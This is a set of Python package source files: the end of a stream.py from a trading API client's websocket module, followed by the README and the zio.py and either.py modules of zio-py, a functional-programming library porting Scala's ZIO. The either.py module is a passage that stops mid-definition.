self._handlers['lulds'].get( symbol, self._handlers['lulds'].get('*', None)) if handler: await handler(self._cast(msg_type, msg)) else: await super()._dispatch(msg) async def _unsubscribe(self, trades=(), quotes=(), bars=(), daily_bars=(), snapshots=(), statuses=(), lulds=()): if trades or quotes or bars or daily_bars or snapshots or statuses or lulds: await self._ws.send( msgpack.packb({ 'action': 'unsubscribe', 'trades': trades, 'quotes': quotes, 'bars': bars, 'snapshots': snapshots, 'dailyBars': daily_bars, 'statuses': statuses, 'lulds': lulds, })) def subscribe_statuses(self, handler, *symbols): self._subscribe(handler, symbols, self._handlers['statuses']) def subscribe_lulds(self, handler, *symbols): self._subscribe(handler, symbols, self._handlers['lulds']) def unsubscribe_statuses(self, *symbols): if self._running: asyncio.get_event_loop().run_until_complete( self._unsubscribe(statuses=symbols)) for symbol in symbols: del self._handlers['statuses'][symbol] def unsubscribe_lulds(self, *symbols): if self._running: asyncio.get_event_loop().run_until_complete( self._unsubscribe(lulds=symbols)) for symbol in symbols: del self._handlers['lulds'][symbol] class Stream: def __init__(self, key_id: str = None, secret_key: str = None, data_stream_url: URL = None, raw_data: bool = True): self._key_id, self._secret_key, _ = get_credentials(key_id, secret_key) self._data_steam_url = data_stream_url or get_data_stream_url() self._data_ws = DataStream(self._key_id, self._secret_key, self._data_steam_url, raw_data) def subscribe_trade_updates(self, handler): self._trading_ws.subscribe_trade_updates(handler) def subscribe_trades(self, handler, *symbols): self._data_ws.subscribe_trades(handler, *symbols) def subscribe_quotes(self, handler, *symbols): self._data_ws.subscribe_quotes(handler, *symbols) def subscribe_snapshots(self, handler, *symbols): self._data_ws.subscribe_snapshots(handler, *symbols) def subscribe_bars(self, handler, *symbols): self._data_ws.subscribe_bars(handler, *symbols) def subscribe_daily_bars(self, handler, *symbols): self._data_ws.subscribe_daily_bars(handler, *symbols) def subscribe_statuses(self, handler, *symbols): self._data_ws.subscribe_statuses(handler, *symbols) def subscribe_lulds(self, handler, *symbols): self._data_ws.subscribe_lulds(handler, *symbols) def on_trade_update(self, func): self.subscribe_trade_updates(func) return func def on_trade(self, *symbols): def decorator(func): self.subscribe_trades(func, *symbols) return func return decorator def on_quote(self, *symbols): def decorator(func): self.subscribe_quotes(func, *symbols) return func return decorator def on_bar(self, *symbols): def decorator(func): self.subscribe_bars(func, *symbols) return func return decorator def on_snapshots(self, *symbols): def decorator(func): self.subscribe_snapshots(func, *symbols) return func return decorator def on_daily_bar(self, *symbols): def decorator(func): self.subscribe_daily_bars(func, *symbols) return func return decorator def on_status(self, *symbols): def decorator(func): self.subscribe_statuses(func, *symbols) return func return decorator def unsubscribe_trades(self, *symbols): self._data_ws.unsubscribe_trades(*symbols) def unsubscribe_quotes(self, *symbols): self._data_ws.unsubscribe_quotes(*symbols) def unsubscribe_snapshots(self, *symbols): self._data_ws.unsubscribe_snapshots(*symbols) def unsubscribe_bars(self, *symbols): self._data_ws.unsubscribe_bars(*symbols) def unsubscribe_daily_bars(self, *symbols): self._data_ws.unsubscribe_daily_bars(*symbols) def unsubscribe_statuses(self, *symbols): self._data_ws.unsubscribe_statuses(*symbols) def unsubscribe_lulds(self, *symbols): self._data_ws.unsubscribe_lulds(*symbols) async def _run_forever(self): await asyncio.gather(self._data_ws._run_forever()) def run(self): loop = asyncio.get_event_loop() try: loop.run_until_complete(self._run_forever()) except KeyboardInterrupt: print('keyboard interrupt, bye') pass async def stop_ws(self): """ Signal the ws connections to stop listenning to api stream. """ if self._data_ws: await self._data_ws.stop_ws() def is_open(self): """ Checks if either of the websockets is open :return: """ open_ws = self._data_ws._ws # noqa if open_ws: return True return False
zinvest-trade-api
/zinvest-trade-api-0.0.4.tar.gz/zinvest-trade-api-0.0.4/zinvest_trade_api/stream.py
stream.py
ZIO-py ====== ZIO for Python (see https://github.com/zio/zio). [![Stable Version](https://img.shields.io/pypi/v/zio-py?color=blue)](https://pypi.org/project/zio-py/) [![Checked with mypy](http://www.mypy-lang.org/static/mypy_badge.svg)](http://mypy-lang.org/) This is a fairly straightforward (unofficial and plucky) port of a subset of the ingenious [Scala ZIO](https://github.com/zio/zio) library along with some other tools for type-safe functional programming in Python. About the ZIO monad ------------------- This particular implementation of the ZIO data structure is based on the [functional effects](https://github.com/jdegoes/functional-effects/blob/master/src/main/scala/net/degoes/zio/00-intro.scala) training provided by [John De Goes](https://degoes.net/). It is a vastly simplified version of the amazing official Scala library, but is still quite useful: For state of the art "errors as values" computations, this library is for you! The `ZIO[R, E, A]` monad is basically three monads rolled into one: - An "IO monad" for writing pure functional programs. A value of type `ZIO[R, E, A]` is a program, which when evaluated given input of type `R`, either fails with a value of type `E` or succeeds with a value of type `A`. - An [either monad](https://www.freecodecamp.org/news/a-survival-guide-to-the-either-monad-in-scala-7293a680006/) that allows you to "code to the happy path." If an error is encountered anywhere in a sequence of `ZIO` operations, it is returned early. - A [reader monad](https://en.wikipedia.org/wiki/Monad_(functional_programming)#Environment_monad) for providing inputs to your program. Unlike Scala's ZIO, this implementation does not include functionality for parallel/concurrent programming. Since we are stuck in Python with the Global Interpreter Lock, we can't have nice things...so this functionality won't be missed anyways. However, future work will certainly explore supporting this part of the Scala ZIO API. Perhaps the most important feature of ZIO-py that sets it apart from all other functional programming libraries is its support for type-safe, ergonomic, and quite natural "monadic do notation." Notable Features ---------------- * State of the art "[zivariant](https://zio.github.io/zio-prelude/api/zio/prelude/Zivariant.html)" ZIO monad data structure. * `Either` monad for those times when you don't need _all_ of the power of ZIO. * `ZIOArrow` and `EitherArrow` combinator data structures for ergonomic and type-safe "pipeline-oriented programming" (function composition). These features are awesome for wrapping existing APIs. * [Monadic do notation](https://stackoverflow.com/questions/57192516/is-do-notation-used-necessarily-in-the-context-of-monad), what appears to be a significant advancement in bringing ergonomic functional programming to mainstream languages. It looks like this general idea was explored in 2018 in [Exceptionally Monadic Error Handling](https://arxiv.org/pdf/1810.13430.pdf), albeit from the Haskell side. Interesting, I have not seen the idea applied anywhere in the wild. * HList and Validation implementations for type safe data validation and transformation. Benefits -------- * Faster and safer test writing: No more mocking and other monkeypatching tomfoolery. Ok, maybe there is some hyperbole here. But it should significantly reduce the amount of mocking needed. Instead of mocking things, you simply `my_program.provide(x)` your program a test environment, `x`, before calling `unsafe_run(my_program)`. When running code in production, you will `.provide` an instance of a live (real) environment. * Clear distinction of [side-effecting](https://en.wikipedia.org/wiki/Side_effect_(computer_science)) code based on function type signatures. If a function returns a value of type `ZIO[R, E, A`], you know exactly what that function takes as input, how it can fail, and what it will return if it succeeds. You also know that the function may cause side effects. Any other function can, with some reasonable discipline, be considered free of side effects. * Code to the happy path while safely handling errors. Since `ZIO` behaves like a (right-biased) Either monad, it is super easy to do [railway-oriented programming](https://swlaschin.gitbooks.io/fsharpforfunandprofit/content/posts/recipe-part2.html). * Type safety. Everything is statically-checked by mypy. If you get the types wrong, then there is probably a bug in your program. The mypy type checker will find the bugs before they make it to production. * Implementations of "Kleisli arrow"-like combinator interfaces for creating function pipelines (`EitherArrow` and `ZIOArrow`). These interfaces use [PEP 612](https://peps.python.org/pep-0612/) features to preserve function parameters, making it possible to easily work with pre-existing Python functions/methods. For example, it is super handy for wrapping existing APIs to make them type-safe and composable. * It's pure, it's functional. It's pure functional programming. It's Pythonic. It shouldn't be possible. (And someone somewhere is upset that these meddling kids have made it possible.) Installation ------------ At the command line: ```bash $ pip install zio-py ``` Alternatively, you can install `zio-py` from source by cloning this repo and running the provided `setup.sh` script. How to Use It ------------- Check out the [Scala ZIO documentation](https://zio.dev/) for the definitive guide on basic usage of ZIO. In Scala. :) Here, we will introduce you to the style of programming that uses the generalized monadic do notation that is unique to ZIO-py. Using the "Monadic Do Notation" ------------------------------- ZIO-py features a kind of type-safe monadic do notation that obviates the need to festoon your pure functional programs with unruly nested `.flat_map` calls. Unlike other "monadic do notation as a library" implementations, this one is 100% type-safe. To use it within the body of a function: 1. Decorate your function using the `@ziopy.zio.monadic` decorator. (Or, correspondingly, decorate your method with `@ziopy.zio.monadic_method`. Two different decorators are needed because methods take an implicit `self` argument.) 2. The first parameter to your function must be of type `ziopy.zio.ZIOMonad[R, E]`, where `R` represents the environment type and `E` represents the error type. A good name for this parameter is typically `do`. 3. Add any other parameters to your function _after_ the `ZIOMonad` parameter. 4. Return a value of type `ziopy.zio.ZIO[R, E, A]` from your function, where `A` represents the type returned when your function returns successfully. The types `R` and `E` have to coincide for type safety. The PEP 612 features of the `mypy` type checker will check this for you. Then, instead of writing ```python a.flat_map(lambda b: ...) ``` you can write ```python b = do << a ... ``` That's pretty much it! The type safety guarantees that, if any statement in your monadic code that passed through a `do <<` produces an error, the `@monadic` function has to be capable of returning that error. The same safety idea is used for accessing stuff out of the environment (the `R` in `ZIO[R, E, A]`). It turns out to be a lot easier to use than Scala's "for comprehension" and Haskell's "do notation" because it's just a regular statement. So you can mix it with loops, conditional logic, etc., which is not possible in those other languages. How the Monadic Do Notation Works --------------------------------- Each `do << program` invocation calls the private (and potentially impure) `program._run` function, which returns a value of type `Either[E, A]`. More specifically, it returns either an instance of `Left[E]` or an instance of `Right[A]`. If `left: Left[E]` is returned, we wrap `left.value` in a special exception called `RaiseLeft`. Meanwhile, the `@monadic` function decorator adds an exception handler to the decorated function. It catches `raise_left: RaiseLeft` exceptions, and returns the wrapped value as a ZIO program `ZIO.fail(lambda: raise_left.value)`. The end result is a control flow mechanism for early return of `Left[E]` values from your decorated functions. Example Programs ---------------- ```python from typing import NoReturn, Union import ziopy.services.console as console import ziopy.services.system as system from ziopy.either import EitherArrow from ziopy.environments import ConsoleSystemEnvironment from ziopy.services.console import Console, LiveConsole from ziopy.zio import ZIO, Environment, ZIOMonad, monadic, unsafe_run @monadic def program( do: ZIOMonad[Console, Union[EOFError, KeyboardInterrupt]] ) -> ZIO[ Console, Union[EOFError, KeyboardInterrupt], str ]: con = do << Environment() do << con.print("Hello, what is your name?") name = do << con.input() do << con.print(f"Your name is: {name}") x = do << ZIO.succeed(1) while x < 20: x = do << ( ZIO.succeed(x) .map(lambda p: p + 1) .flat_map(lambda q: ZIO.succeed(q - 1)) .flat_map(lambda r: ZIO.succeed(r + 1)) ) do << con.print(f"The value of x is: {x}") return ZIO.succeed(f"Hello, {name}!") p = program().provide(LiveConsole()) final_result = unsafe_run(p) print(f"Final result (1) is: {final_result}") # You can run the same program (value) over and over again. final_result_2 = unsafe_run(p) print(f"Final result (2) is: {final_result_2}") @monadic def prog( do: ZIOMonad[ConsoleSystemEnvironment, NoReturn] ) -> ZIO[ConsoleSystemEnvironment, NoReturn, int]: age = do << console.get_input_from_console( prompt="How old are you?\n", parse_value=( EitherArrow.from_callable(str) .map(int) .catch(ValueError) ), default_value=21 ) do << console.print(f"You are {age} years old.") return ZIO.succeed(age) unsafe_run( prog().provide( ConsoleSystemEnvironment(console=LiveConsole(), system=system.LiveSystem()) ) ) ``` History ------- ZIO-py grew out of a 2019 [Root Insurance Company](https://www.joinroot.com/) Hack Days project which experimented with porting ZIO to Python. The barrier to adoption was the fact that Python did not have a good mechanism for handling monadic programming, such as Scala's [for comprehension](https://docs.scala-lang.org/tour/for-comprehensions.html) or Haskell's [do notation](https://en.wikibooks.org/wiki/Haskell/do_notation). I implemented the beginnings of an AST transformer that made it possible to use a kind of primitive do notation [here](https://github.com/harveywi/ziopy#monad-comprehension-syntactic-sugar), but generalizing it to work with general Python AST transformations was extremely difficult. Without a better syntax for monadic programming, nobody would ever want to use it in Python. Nested `.flat_map` everywhere is a mess. After letting the problem simmer in my head for more than a year, I suddenly had an epiphany one morning: > "Solve the inversion of control flow problem, and you'll have a better monadic "do" notation than any programming language currently offers." So that's what I did. I tried out a few different designs, trying to emulate something analogous to [call/cc](https://en.wikipedia.org/wiki/Call-with-current-continuation) in a typesafe way in Python. Next, I used a [fork/exec](https://en.wikipedia.org/wiki/Fork%E2%80%93exec) strategy to simulate call/cc. Ultimately I was able to construct a design that eschewed call/cc, using only `try`/`catch` and an additional thunk in the `@monadic` decorator to achieve the desired control flow. One of the limiting reagents was that mypy still [has some problems](https://github.com/python/mypy/issues/3157) with type inference with code that uses decorators. So, for the short term, I whipped together a simple `mypy` plugin that properly checks/modifies the type signature of functions that are decorated as `@monadic`. Figuring out a way to use the library in a type safe way was tricky. I had to subconsciously think for a few days about how to maintain the type safety. The `@monadic` decorator, `do: ZIOMonad[R, E]` argument, and mypy plugin solved that problem pretty well methinks...but YMMV. What's Next? ------------ Async/concurrent functionality is currently on the radar. The end goal is to make ZIO-py into one of the best solutions for async/concurrent programming, and to help developers take full advantage of the future of Python when the [global interpreter lock has been removed](https://www.infoworld.com/article/3637073/python-stands-to-lose-its-gil-and-gain-a-lot-of-speed.html). Statement of Public Good ------------------------ This project is made possible by: * The Mathematics and Informatics Institute of Ohio, a nonprofit whose mission is to enrich the citzenry of the State of Ohio via education and public domain contributions to advanced mathematics, computer science, informatics, information theory, data science, and other analytical disciplines. * [Root Insurance Company](https://www.joinroot.com/). This library is an open source version of one of our widely-used internal Python libraries. * [John De Goes](https://degoes.net/) and the many [Scala ZIO](https://github.com/zio/zio) contributors.
zio-py
/zio_py-0.0.16.tar.gz/zio_py-0.0.16/README.md
README.md
import functools from dataclasses import dataclass from typing import Callable, Generic, NoReturn, Tuple, Type, TypeVar, Union from typing_extensions import Concatenate, ParamSpec from ziopy.either import Either, Left, Right from ziopy.util import RaiseLeft, raise_exception """ Heavily inspired by: https://github.com/jdegoes/functional-effects/blob/master/src/main/scala/net/degoes/zio/00-intro.scala """ R = TypeVar('R', contravariant=True) E = TypeVar('E', covariant=True) A = TypeVar('A', covariant=True) B = TypeVar('B') G = TypeVar('G', bound=BaseException, covariant=True) RR = TypeVar('RR') EE = TypeVar('EE') AA = TypeVar('AA') BB = TypeVar('BB') E2 = TypeVar('E2') A2 = TypeVar('A2') T = TypeVar('T') Thunk = Callable[[], T] P = ParamSpec("P") F = TypeVar('F', bound=Callable) X = TypeVar('X', bound=BaseException) @dataclass(frozen=True) class TypeMatchException(Generic[AA], Exception): value: AA class ZIO(Generic[R, E, A]): def __init__(self, run: Callable[[R], Either[E, A]]): self._run = run @staticmethod def succeed(a: AA) -> "ZIO[object, NoReturn, AA]": return ZIO(lambda _: Right(a)) @staticmethod def fail(e: EE) -> "ZIO[object, EE, NoReturn]": return ZIO(lambda _: Left(e)) @staticmethod def from_either(e: Either[EE, AA]) -> "ZIO[object, EE, AA]": return ZIO(lambda _: e) @staticmethod def effect(side_effect: Thunk[AA]) -> "ZIO[object, Exception, AA]": a = ZIO[object, NoReturn, AA](lambda _: Either.right(side_effect())) return a.catch(Exception) @staticmethod def effect_catch(side_effect: Thunk[AA], exception_type: Type[X]) -> "ZIO[object, X, AA]": a = ZIO[object, NoReturn, AA](lambda _: Either.right(side_effect())) return a.catch(exception_type) @staticmethod def access(f: Callable[[R], AA]) -> "ZIO[R, NoReturn, AA]": return ZIO(lambda r: Right(f(r))) @staticmethod def access_m(f: Callable[[RR], "ZIO[RR, EE, AA]"]) -> "ZIO[RR, EE, AA]": return ZIO(lambda r: f(r)._run(r)) def provide(self, r: R) -> "ZIO[object, E, A]": return ZIO(lambda _: self._run(r)) @staticmethod def effect_total(side_effect: Thunk[AA]) -> "ZIO[object, NoReturn, AA]": return ZIO(lambda _: Right(side_effect())) def catch( self: "ZIO[R, E, AA]", exc: Type[X] ) -> "ZIO[R, Union[E, X], AA]": def _f(r: R) -> Either[Union[E, X], AA]: try: return self._run(r) except exc as e: return Either.left(e) return ZIO(_f) def map(self, f: Callable[[A], B]) -> "ZIO[R, E, B]": return ZIO(lambda r: self._run(r).map(f)) def map_error(self: "ZIO[RR, EE, AA]", f: Callable[[EE], E2]) -> "ZIO[RR, E2, AA]": return ZIO(lambda r: self._run(r).map_left(f)) def flat_map( self: "ZIO[RR, E, AA]", f: Callable[[AA], "ZIO[RR, EE, B]"] ) -> "ZIO[RR, Union[E, EE], B]": return ZIO(lambda r: self._run(r).flat_map(lambda a: f(a)._run(r))) def flatten( self: "ZIO[R, E, ZIO[R, EE, AA]]" ) -> "ZIO[R, Union[E, EE], AA]": return self.flat_map(lambda x: x) def __lshift__(self: "ZIO[RR, EE, AA]", other: "ZIO[RR, EE, B]") -> "ZIO[RR, EE, B]": return self.flat_map(lambda _: other) def zip( self: "ZIO[RR, E, AA]", that: "ZIO[RR, EE, B]" ) -> "ZIO[RR, Union[E, EE], Tuple[AA, B]]": return self.flat_map(lambda a: that.map(lambda b: (a, b))) def either(self) -> "ZIO[R, NoReturn, Either[E, A]]": return ZIO(lambda r: Right(self._run(r))) def absolve(self: "ZIO[R, E, Either[EE, AA]]") -> "ZIO[R, Union[E, EE], AA]": return self.flat_map(ZIO.from_either) def or_die(self: "ZIO[R, X, AA]") -> "ZIO[R, NoReturn, AA]": return ZIO(lambda r: self._run(r).fold(raise_exception, lambda a: Right(a))) def require( self: "ZIO[R, E, AA]", predicate: Callable[[AA], bool], to_error: Callable[[AA], EE] ) -> "ZIO[R, Union[E, EE], AA]": return ZIO(lambda r: self._run(r).require(predicate, to_error)) def asserting( self: "ZIO[R, E, AA]", predicate: Callable[[AA], bool], to_error: Callable[[AA], X] ) -> "ZIO[R, E, AA]": return ZIO(lambda r: self._run(r).asserting(predicate, to_error)) def or_else( self: "ZIO[R, EE, AA]", other: "ZIO[R, E2, A2]" ) -> "ZIO[R, Union[EE, E2], Union[AA, A2]]": return ZIO( lambda r: self._run(r).fold( lambda e: other._run(r), lambda a: Right(a) ) ) def swap(self: "ZIO[R, EE, AA]") -> "ZIO[R, AA, EE]": return ZIO(lambda r: self._run(r).swap()) def match_types(self: "ZIO[R, E, AA]") -> "ZIO[R, E, NoReturn]": def _f(arg: AA) -> NoReturn: raise TypeMatchException(arg) return self.map(_f) def at_type( self: "ZIO[RR, EE, AA]", target_type: Type[A2], operation: "ZIO[A2, E2, BB]" ) -> "ZIO[RR, Union[EE, E2], Union[AA, BB]]": def _recover(arg: Union[EE, TypeMatchException]) -> ZIO[object, Union[EE, E2], BB]: if not isinstance(arg, TypeMatchException): return ZIO.fail(arg) if isinstance(arg.value, target_type): return operation.provide(arg.value) else: raise arg from arg return ( self .catch(TypeMatchException) .swap() .either() .flat_map(lambda e: e.fold(ZIO.succeed, _recover)) ) class Environment(Generic[RR], ZIO[RR, NoReturn, RR]): def __init__(self) -> None: self._run = lambda r: Right(r) def unsafe_run(io: ZIO[object, X, AA]) -> AA: return io._run(None).fold(raise_exception, lambda a: a) class ZIOMonad(Generic[R, EE]): def __init__(self, environment: R) -> None: self._environment = environment def __lshift__(self, arg: ZIO[R, EE, BB]) -> BB: return arg._run(self._environment).fold( lambda e: raise_exception(RaiseLeft(e)), lambda a: a ) def monadic_method( func: Callable[Concatenate[AA, ZIOMonad[R, E], P], ZIO[R, E, A]] ) -> Callable[Concatenate[AA, P], ZIO[R, E, A]]: @functools.wraps(func) def _wrapper(self_arg: AA, *args: P.args, **kwargs: P.kwargs) -> ZIO[R, E, A]: def _catch_left(environment: R) -> ZIO[R, E, A]: try: return func(self_arg, ZIOMonad(environment), *args, **kwargs) except RaiseLeft as raise_left: # NOTE: WJH (12/20/20) mypy can't prove that the generic type # of the _RaiseLeft instance here is `E`, so we have to # use `type: ignore`. return ZIO.fail(raise_left.value) # type: ignore return Environment[R]().flat_map(_catch_left) return _wrapper def monadic( func: Callable[Concatenate[ZIOMonad[R, E], P], ZIO[R, E, A]] ) -> Callable[P, ZIO[R, E, A]]: @functools.wraps(func) def _wrapper(*args: P.args, **kwargs: P.kwargs) -> ZIO[R, E, A]: def _catch_left(environment: R) -> ZIO[R, E, A]: try: return func(ZIOMonad(environment), *args, **kwargs) except RaiseLeft as raise_left: # NOTE: WJH (12/20/20) mypy can't prove that the generic type # of the _RaiseLeft instance here is `E`, so we have to # use `type: ignore`. return ZIO.fail(raise_left.value) # type: ignore return Environment[R]().flat_map(_catch_left) return _wrapper class ZIOArrow(Generic[P, R, E, A]): @staticmethod def from_zio(zio: ZIO[R, E, Callable[P, A]]) -> "ZIOArrow[P, R, E, A]": return ZIOArrow(lambda *args, **kwargs: zio.map(lambda f: f(*args, **kwargs))) @staticmethod def from_callable(f: Callable[P, A]) -> "ZIOArrow[P, object, NoReturn, A]": return ZIOArrow(lambda *args, **kwargs: ZIO.succeed(f(*args, **kwargs))) def __init__(self, f: Callable[P, ZIO[R, E, A]]) -> None: self._f = f def to_callable(self) -> "Callable[P, ZIO[R, E, A]]": return self._f def __call__(self, *args: P.args, **kwargs: P.kwargs) -> "ZIO[R, E, A]": return self._f(*args, **kwargs) def provide(self, r: R) -> "ZIOArrow[P, object, E, A]": return ZIOArrow(lambda *args, **kwargs: self._f(*args, **kwargs).provide(r)) def catch( self: "ZIOArrow[P, R, E, AA]", exc: Type[X] ) -> "ZIOArrow[P, R, Union[E, X], AA]": def _g(*args: P.args, **kwargs: P.kwargs) -> ZIO[R, Union[E, X], AA]: try: return self._f(*args, **kwargs) except exc as e: return ZIO.fail(e) return ZIOArrow(_g) def map(self, f: Callable[[A], B]) -> "ZIOArrow[P, R, E, B]": return ZIOArrow(lambda *args, **kwargs: self._f(*args, **kwargs).map(f)) def map_error( self: "ZIOArrow[P, RR, EE, AA]", f: Callable[[EE], E2] ) -> "ZIOArrow[P, RR, E2, AA]": return ZIOArrow(lambda *args, **kwargs: self._f(*args, **kwargs).map_error(f)) def flat_map( self: "ZIOArrow[P, RR, E, AA]", f: Callable[[AA], "ZIO[RR, EE, B]"] ) -> "ZIOArrow[P, RR, Union[E, EE], B]": return ZIOArrow(lambda *args, **kwargs: self._f(*args, **kwargs).flat_map(f)) def flatten( self: "ZIOArrow[P, R, E, ZIO[R, EE, AA]]" ) -> "ZIOArrow[P, R, Union[E, EE], AA]": return self.flat_map(lambda x: x) def __lshift__( self: "ZIOArrow[P, RR, EE, AA]", other: "ZIO[RR, EE, B]" ) -> "ZIOArrow[P, RR, EE, B]": return self.flat_map(lambda _: other) def zip( self: "ZIOArrow[P, RR, E, AA]", that: "ZIO[RR, EE, B]" ) -> "ZIOArrow[P, RR, Union[E, EE], Tuple[AA, B]]": return self.flat_map(lambda a: that.map(lambda b: (a, b))) def either(self) -> "ZIOArrow[P, R, NoReturn, Either[E, A]]": return ZIOArrow(lambda *args, **kwargs: self._f(*args, **kwargs).either()) def absolve( self: "ZIOArrow[P, R, E, Either[EE, AA]]" ) -> "ZIOArrow[P, R, Union[E, EE], AA]": return self.flat_map(ZIO.from_either) def or_die(self: "ZIOArrow[P, R, X, AA]") -> "ZIOArrow[P, R, NoReturn, AA]": return ZIOArrow(lambda *args, **kwargs: self._f(*args, **kwargs).or_die()) def require( self: "ZIOArrow[P, R, E, AA]", predicate: Callable[[AA], bool], to_error: Callable[[AA], EE] ) -> "ZIOArrow[P, R, Union[E, EE], AA]": return ZIOArrow( lambda *args, **kwargs: self._f(*args, **kwargs).require(predicate, to_error) ) def asserting( self: "ZIOArrow[P, R, E, AA]", predicate: Callable[[AA], bool], to_error: Callable[[AA], X] ) -> "ZIOArrow[P, R, E, AA]": return ZIOArrow( lambda *args, **kwargs: self._f(*args, **kwargs).asserting(predicate, to_error) ) def or_else( self: "ZIOArrow[P, R, EE, AA]", other: "ZIO[R, E2, A2]" ) -> "ZIOArrow[P, R, Union[EE, E2], Union[AA, A2]]": return ZIOArrow(lambda *args, **kwargs: self._f(*args, **kwargs).or_else(other)) def swap(self: "ZIOArrow[P, R, EE, AA]") -> "ZIOArrow[P, R, AA, EE]": return ZIOArrow(lambda *args, **kwargs: self._f(*args, **kwargs).swap()) def match_types(self: "ZIOArrow[P, R, E, AA]") -> "ZIOArrow[P, R, E, NoReturn]": return ZIOArrow(lambda *args, **kwargs: self._f(*args, **kwargs).match_types()) def at_type( self: "ZIOArrow[P, RR, EE, AA]", target_type: Type[A2], operation: "ZIO[A2, E2, BB]" ) -> "ZIOArrow[P, RR, Union[EE, E2], Union[AA, BB]]": return ZIOArrow( lambda *args, **kwargs: self._f(*args, **kwargs).at_type(target_type, operation) )
zio-py
/zio_py-0.0.16.tar.gz/zio_py-0.0.16/ziopy/zio.py
zio.py
import functools from abc import ABCMeta from dataclasses import dataclass from typing import (Any, Callable, Generic, NoReturn, Optional, Type, TypeVar, Union) from typing_extensions import Concatenate, Final, ParamSpec, Protocol from ziopy.util import RaiseLeft, raise_exception A = TypeVar('A', covariant=True) A1 = TypeVar('A1') A2 = TypeVar('A2') AA = TypeVar('AA') A_con = TypeVar("A_con", contravariant=True) B = TypeVar('B', covariant=True) B1 = TypeVar('B1') B2 = TypeVar('B2') BB = TypeVar('BB') C = TypeVar('C') C1 = TypeVar('C1') C2 = TypeVar('C2') E = TypeVar('E', covariant=True) E1 = TypeVar('E1') E2 = TypeVar('E2') E_con = TypeVar('E_con', contravariant=True) X = TypeVar('X', bound=BaseException) P = ParamSpec("P") PP = ParamSpec("PP") @dataclass(frozen=True) class EitherException(Generic[A], Exception): value: A @dataclass(frozen=True) class TypeMatchException(Generic[AA], Exception): value: Optional[AA] class GetItem(Protocol[A_con, B]): def __getitem__(self, item: A_con) -> B: pass class Either(Generic[A, B], metaclass=ABCMeta): """Right-biased disjunction""" @staticmethod def left(a: AA) -> "Either[AA, NoReturn]": return Left(a) @staticmethod def right(b: BB) -> "Either[NoReturn, BB]": return Right(b) @staticmethod def from_union( value: Union[A, B], left_type: Type[A], right_type: Type[B] ) -> "Either[A, B]": if isinstance(value, left_type): return Either.left(value) elif isinstance(value, right_type): return Either.right(value) else: raise TypeError() @staticmethod def from_optional(value: Optional[B]) -> "Either[None, B]": if value is None: return Either.left(value) return Either.right(value) def to_left(self: "Either[AA, NoReturn]") -> "Left[AA]": if not isinstance(self, Left): raise TypeError("to_left can only be called on an instance of Left.") return self def to_right(self: "Either[NoReturn, BB]") -> "Right[BB]": if not isinstance(self, Right): raise TypeError("to_right can only be called on an instance of Right.") return self def match( self, case_left: "Callable[[Left[A]], C1]", case_right: "Callable[[Right[B]], C2]" ) -> Union[C1, C2]: if isinstance(self, Left): return case_left(self) elif isinstance(self, Right): return case_right(self) else: raise TypeError() def fold( self, case_left: "Callable[[A], C1]", case_right: "Callable[[B], C2]" ) -> Union[C1, C2]: return self.match( lambda x: case_left(x.value), lambda y: case_right(y.value) ) def swap(self) -> "Either[B, A]": return self.match( lambda left: Either.right(left.value), lambda right: Either.left(right.value) ) def map(self, f: Callable[[B], C]) -> "Either[A, C]": return self.match( lambda left: left, lambda right: Either.right(f(right.value)) ) def map_left(self, f: Callable[[A], C]) -> "Either[C, B]": return self.match( lambda left: Either.left(f(left.value)), lambda right: right ) def flat_map(self, f: "Callable[[B], Either[AA, C]]") -> "Either[Union[A, AA], C]": return self.match( lambda left: left, lambda right: f(right.value) ) def __lshift__(self, f: "Callable[[B], Either[AA, C]]") -> "Either[Union[A, AA], C]": return self.flat_map(f) def flatten(self: "Either[A1, Either[AA, BB]]") -> "Either[Union[A1, AA], BB]": return self.flat_map(lambda x: x) def require( self, predicate: Callable[[B], bool], to_error: Callable[[B], AA] ) -> "Either[Union[A, AA], B]": def _case_right(right: Right[B]) -> "Either[Union[A, AA], B]": if predicate(right.value): return right return Either.left(to_error(right.value)) return self.match( lambda left: left, _case_right ) def asserting( self, predicate: Callable[[B], bool], to_error: Callable[[B], X] ) -> "Either[A, B]": def _case_right(right: Right[B]) -> "Either[A, B]": if not predicate(right.value): raise to_error(right.value) return right return self.match( lambda left: left, _case_right ) def raise_errors(self: "Either[AA, BB]") -> "Either[NoReturn, BB]": def _case_left(error: AA) -> NoReturn: if isinstance(error, Exception): raise error from error else: raise EitherException(value=error) return self.fold(_case_left, lambda x: Either.right(x)) def tap(self, op: "Callable[[Either[A, B]], Any]") -> "Either[A, B]": op(self) return self def display(self, description: Optional[str] = None) -> "Either[A, B]": if description is not None: print(f"{description}:") return self.tap(print) def to_union(self) -> Union[A, B]: return self.match(lambda x: x.value, lambda y: y.value) def cast(self: "Either[AA, BB]", t: Type[C]) -> "Either[Union[AA, TypeError], C]": return self.flat_map( lambda b: Either.right(b) if isinstance(b, t) else Either.left( TypeError(f"Unable to cast value {b} (of type {type(b).__name__}) as type {t.__name__}.") ) ) @dataclass(frozen=True) class Left(Generic[A], Either[A, NoReturn]): value: A @dataclass(frozen=True) class Right(Generic[B], Either[NoReturn, B]): value: B class EitherMonad(Generic[E_con]): def __lshift__(self, arg: Either[E_con, BB]) -> BB: return arg.fold( lambda e: raise_exception(RaiseLeft(e)), lambda a: a ) def monadic_method( func: Callable[Concatenate[AA, EitherMonad[E], P], Either[E, A]] ) -> Callable[Concatenate[AA, P], Either[E, A]]: @functools.wraps(func) def _wrapper(self_arg: AA, *args: P.args, **kwargs: P.kwargs) -> Either[E, A]: try: return func(self_arg, EitherMonad(), *args, **kwargs) except RaiseLeft as raise_left: # NOTE: WJH (02/03/23) mypy can't prove that the generic type # of the RaiseLeft instance here is `E`, so we have to # use `type: ignore`. return Either.left(raise_left.value) # type: ignore return _wrapper def monadic( func: Callable[Concatenate[EitherMonad[E], P], Either[E, A]] ) -> Callable[P, Either[E, A]]: @functools.wraps(func) def _wrapper(*args: P.args, **kwargs: P.kwargs) -> Either[E, A]: try: return func(EitherMonad(), *args, **kwargs) except RaiseLeft as raise_left: # NOTE: WJH (02/03/23) mypy can't prove that the generic type # of the RaiseLeft instance here is `E`, so we have to # use `type: ignore`. return Either.left(raise_left.value) # type: ignore return _wrapper class WithArgs(Protocol[P, A_con, B]): def __call__(self, *args: P.args, **kwargs: P.kwargs) -> Callable[[A_con], B]: pass class _Identities: def __getitem__(self, t: Type[AA]) -> "EitherArrow[[AA], NoReturn, AA]": return EitherArrow.from_callable(lambda x: x) class EitherArrow(Generic[P, A, B]): @staticmethod def from_either(either: Either[E, Callable[P, A]]) -> 